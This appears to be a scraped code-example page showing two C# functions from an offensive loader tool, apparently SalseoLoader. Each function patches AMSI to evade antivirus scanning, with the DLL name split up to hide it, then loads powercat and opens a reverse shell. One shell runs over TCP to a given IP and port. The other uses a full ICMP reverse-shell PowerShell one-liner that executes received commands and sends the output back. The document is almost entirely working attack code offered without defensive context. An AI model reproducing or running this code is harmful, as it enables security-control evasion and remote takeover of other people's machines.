Esempio n. 1
0
        public static int reversetcp(string[] args)
        {
            CyberVaca.showbanner();
            string Salsa    = "am" + "si" + ".dll";
            string checkdll = "c:\\Windows\\System32\\" + Salsa;

            if (System.IO.File.Exists(checkdll) == true)
            {
                CyberVaca.Parchea(Salsa);
            }
            string reversa = args[0].ToString();
            string ip      = (reversa.Split(' ')[0]);
            string puerto  = (reversa.Split(' ')[1]);

            if (System.IO.File.Exists(checkdll) == true)
            {
                Console.WriteLine("[+] Enviando shell reversa pre-parcheada");
            }
            else
            {
                Console.WriteLine("[+] Enviando shell reversa pre-parcheada");
            }
            //--------------------- Funciones para cargar ------------------------------
            RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
            Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);

            rspace.Open();
            Pipeline pipeline = rspace.CreatePipeline();

            //--------------------- Funciones para cargar ------------------------------
            pipeline.Commands.AddScript(SalseoLoader.powercat.powercatbase64());
            pipeline.Commands.AddScript(SalseoLoader.Load_Ps1.loadfileps1());
            pipeline.Commands.AddScript("powercat -c " + ip + " -p " + puerto + " -ep");
            pipeline.Invoke();
            return(0);
        }
Esempio n. 2
0
        public static int reverseicmp(string[] args)
        {
            CyberVaca.showbanner();
            string Salsa    = "am" + "si" + ".dll";
            string checkdll = "c:\\Windows\\System32\\" + Salsa;

            if (System.IO.File.Exists(checkdll) == true)
            {
                CyberVaca.Parchea(Salsa);
            }
            string reversa = args[0].ToString();
            string ip      = (reversa.Split(' ')[0]);
            string puerto  = (reversa.Split(' ')[1]);

            if (System.IO.File.Exists(checkdll) == true)
            {
                Console.WriteLine("[+] Enviando shell reversa pre-parcheada");
            }
            else
            {
                Console.WriteLine("[+] Enviando shell reversa pre-parcheada");
            }
            //--------------------- Funciones para cargar ------------------------------
            RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
            Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);

            rspace.Open();
            Pipeline pipeline = rspace.CreatePipeline();

            //--------------------- Funciones para cargar ------------------------------
            pipeline.Commands.AddScript(SalseoLoader.powercat.powercatbase64());
            pipeline.Commands.AddScript(SalseoLoader.Load_Ps1.loadfileps1());
            pipeline.Commands.AddScript("$ip='" + ip + "'; $ic=New-Object System.Net.NetworkInformation.Ping; $po=New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment=$true; function f($b) { $ic.Send($ip,60000,([text.encoding]::ASCII).GetBytes($b),$po) }; $p = -join('PS ',(gl).path,'> '); f($p); while ($true) { $r = f(''); if (!$r.Buffer) { continue }; $rs=([text.encoding]::ASCII).GetString($r.Buffer); if ($rs.StartsWith('EXIT')) { exit }; if ($rs.StartsWith('UPLOAD')) { [io.file]::AppendAllText('\a',$rs.Substring(7)); f('.'); } else { try { $rt=(iex -Command $rs | Out-String); } catch { f($_) }; $i=0; while ($i -lt $rt.length-120) { f($rt.Substring($i,120)); $i -= -120; }; f($rt.Substring($i)); $p = -join('PS ',(gl).path,'> '); f($p); }; }");
            pipeline.Invoke();
            return(0);
        }